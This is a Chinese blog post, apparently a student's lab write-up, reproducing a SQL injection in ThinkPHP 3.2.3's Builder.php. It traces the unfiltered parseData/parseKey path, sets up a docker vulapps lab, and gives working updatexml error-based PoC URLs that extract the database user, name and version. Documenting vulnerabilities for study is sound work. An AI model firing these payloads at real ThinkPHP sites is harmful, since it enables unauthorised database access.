ThinkPHP Builder.php SQL注入漏洞(<= 3.2.3)

ThinkPHP Builder.php SQL注入漏洞(<= 3.2.3)的一次漏洞复现作业

漏洞环境:docker


漏洞分析

首先,我们知道insert 方法存在漏洞,那就查看 insert 方法的具体实现。

该方法位于thinkphp\library\think\db\Builder.php 文件中,我们可以看到在函数开头调用了 parseData 方法,并将 $data 作为参数传入, $data 的值是我们通过 get方式传入的一个数组类型的数据,如下图:


我们跟进parseData方法,该方法也在 thinkphp\library\think\db\Builder.php 文件中。

可以看到,在结尾处有个switch语句,而且进入该语句后,会跳到case 'inc'的地方,这里关键就是看看 $this->parseKey 是否有对 $val[1] 变量进行过滤了;

因为$val[1]变量就是我们payload中的updatexml(1,concat(0x7,user(),0x7e),1) ,如下图:


继续跟进parseValue 方法,会发现直接将传入的 $key 返回了,没有进行任何过滤。


我们再回到最开始的insert 方法,加上调试语句,看看此时的sql语句变成了什么样子,如下图:


另一处update函数的注入与这个insert是类似的。


使用docker搭建漏洞环境

    1.拉取镜像到本地

        docker pull medicean/vulapps:t_thinkphp_1

    2.启动环境

        docker run -d -p 80:80 medicean/vulapps:t_thinkphp_1

-p 80:80 前面的 80 代表物理机的端口,可随意指定。


使用和利用

    访问 http://192.168.0.104:80/, 假设启动的端口号为 80

        出现下图环境搭建成功了

点击标记已读:可以使用burp抓包得到URL


http://192.168.0.104/Home/Index/readcategorymsg?category=%E7%B3%BB%E7%BB%9F%E6%B6%88%E6%81%AF

存在漏洞的地方:category=%E7%B3%BB%E7%BB%9F%E6%B6%88%E6%81%AF


POC:

http://192.168.0.104/Home/Index/readcategorymsg?category[0]=bind&category[1]=0 and(updatexml(1,concat(0x7e,(user())),0))

使用上面POC可直接获取到数据库用户名


爆出数据库用户名:root@localhost

http://192.168.0.104/Home/Index/readcategorymsg?category[0]=bind&category[1]=0 and(updatexml(1,concat(0x7e,(database())),0))



通过database(),报错回显一个数据库:vulapps


http://192.168.0.104/Home/Index/readcategorymsg?category[0]=bind&category[1]=0 and(updatexml(1,concat(0x7e,(version())),0))


爆出数据库版本:5.5.57-0ubuntu0.14.04.1


网上找了些资料,但还是对这个不是很懂,本来想构造一个语句看看是否能获取到数据库中的账户和密码,结果发现无法使用(尴尬..)

对上面的这段POC不算很懂,只能看出大概就是通过user()这里修改可以获取到数据库用户和版本

参考资料:

https://mp.weixin.qq.com/s/lNaH2-AAtk9JVKbbCBeIRA

https://mp.weixin.qq.com/s/4xXS7usHMFNgDTEHcHBcBA


                                                                                 记录每一次的学习进步!

                                                                                              2018年4月21日02点02分

你可能感兴趣的:(ThinkPHP Builder.php SQL注入漏洞(<= 3.2.3))